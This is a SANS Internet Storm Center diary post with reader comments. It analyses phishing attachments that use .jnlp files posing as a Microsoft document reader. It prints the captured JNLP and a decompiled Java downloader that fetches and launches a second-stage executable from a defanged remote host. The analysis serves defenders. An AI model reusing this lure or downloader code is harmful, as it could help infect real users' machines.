SANS ISC: Another File Extension to Block in your MTA: .jnlp - SANS Internet Storm Center SANS Site Network Current Site SANS Internet Storm Center Other SANS Sites Help Graduate Degree Programs Security Training Security Certification Security Awareness Training Penetration Testing Industrial Control Systems Cyber Defense Foundations DFIR Software Security Government OnSite Training SANS ISC InfoSec Forums

isc.sans.edu/forums/diary/Another+File+Extension+to+Block+in+your+MTA+jnlp/27018/

Another File Extension to Block in your MTA: .jnlp

When hunting, one thing that I like to learn is how attackers can be imaginative at deploying new techniques. I spotted some emails that had suspicious attachments based on the '.jnlp' extension. I'm pretty sure that many people don't know what's their purpose and, if you don't know them, you don't have a look at them on your logs, SIEM, ... That makes them a good candidate to deliver malicious code!

Xme

Basically, a JNLP file[1] is... an XML file! It is created in the “Java Network Launching Protocol”. It contains all the required information to execute a Java program. Usually, it contains the address where to download the malicious applet and the initial class to run.

687 Posts
ISC
Handler
Jan 22nd
2021

I did a quick analysis of one of the captured JNLP files:

```
<?xml version="1.0" encoding="utf-8"?>
  <jnlp spec="1.0+" codebase="hxxp://secured-doc-read[.]net" href="delivery.jnlp">
  <information>
    <title>Secure Document Reader</title>
    <vendor>Microsoft</vendor>
    <homepage href="wwww.microsoft.com"/>
    <description>Microsoft Secure Document Reader v.4.016</description>
  </information>
  <security>
    <all-permissions/>
  </security>
  <resources>
    <j2se version="1.6+" />
    <jar href="delivery.jar" />
  </resources>
  <application-desc main-class="Secure_Document_Reader">
  </application-desc>
  wghjs100570
</jnlp>
```

The syntax is easy to understand. The payload will be called ‘delivery.jar’ (line 14) and downloaded from secured-doc-read[.].net (line 2). The main class is "Secure_Document_Reader" (line 16).

I decompiled the Jar file (SHA256:a4d95b7d196a4aca87cec384c5d21a756ab75cfaee7f4a20163d02109956a6dd)[2] and was surprised to find a very simple code. Often malicious Java applets implement a RAT but here we faced the simple code of a downloader:

```
public class Secure_Document_Reader
{
  static BufferedInputStream frisco415;
  static FileOutputStream friekiegee;
  static String linkage9;

  public static void main(final String[] array) {
    frisco415("hxxp://sec-doc-v[.]com/images/dsc0386234.jpg");
  }

  public static void frisco415(final String spec) {
    final File file = new File(Secure_Document_Reader.linkage9);
    try {
      Secure_Document_Reader.frisco415 = new BufferedInputStream(new URL(spec).openStream());
      Secure_Document_Reader.friekiegee = new FileOutputStream(Secure_Document_Reader.linkage9);
      final byte[] array = new byte[1024];
      int read;
      while ((read = Secure_Document_Reader.frisco415.read(array, 0, 1024)) != -1) {
        Secure_Document_Reader.friekiegee.write(array, 0, read);
      }
      Secure_Document_Reader.frisco415.close();
      Secure_Document_Reader.friekiegee.close();
    }
    catch (Exception ex) {}
    try {
      Desktop.getDesktop().open(file);
    }
    catch (Exception ex2) {}
  }

  static {
    Secure_Document_Reader.frisco415 = null;
    Secure_Document_Reader.friekiegee = null;
    Secure_Document_Reader.linkage9 = "C:\\ProgramData\\videodrv.exe";
  }
}
```

The next stage is download from hxxp://sec-doc-v[.]com/images/dsc0386234.jpg and dropped on disk as 'videodrx.exe". The PE file (SHA256:ceaf771da5e2678ed0d5844282bf0d464207c23842a8e36be3e7ab1df022ef89) has a VT score of 14/59[3].

The usage of .jnlp files is a great way to bypass the first line of defenses (mail filters) because .jnlp files are text files and do not contain any executable code. Note that Java must be installed on the victim's computer to handle .jnlp files.

[1] https://fileinfo.com/extension/jnlp
[2] https://www.virustotal.com/gui/file/a4d95b7d196a4aca87cec384c5d21a756ab75cfaee7f4a20163d02109956a6dd/detection
[3] https://www.virustotal.com/gui/file/ceaf771da5e2678ed0d5844282bf0d464207c23842a8e36be3e7ab1df022ef89/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

I will be teaching next: Reverse-Engineering Malware: Malware Analysis Tools and Techniques - SANS London June 2022

Thread locked Subscribe

Jan 22nd 2021
1 year ago

Anonymous

My understanding of JNLP files is that they will not run with just Java. You need to have Java and IcedTea installed to be able to process the JNLP and download the file. So, if you don't have both of those on your endpoint, then the OS doesn't know what to do with the file.

That, to me, seems to be an integral part of the attack described. But the requirements are left out. If I am mistaken, please correct me.

Thanks

Joe

Quote

Jan 25th 2021
1 year ago

Brad

433 Posts
ISC Handler

Joe,

I've never had Iced Tea installed, and I've successfully run JNLP-based malware as early as 2013. Reference: malware-traffic-analysis.net/2013/12/27/…

Quote

Jan 26th 2021
1 year ago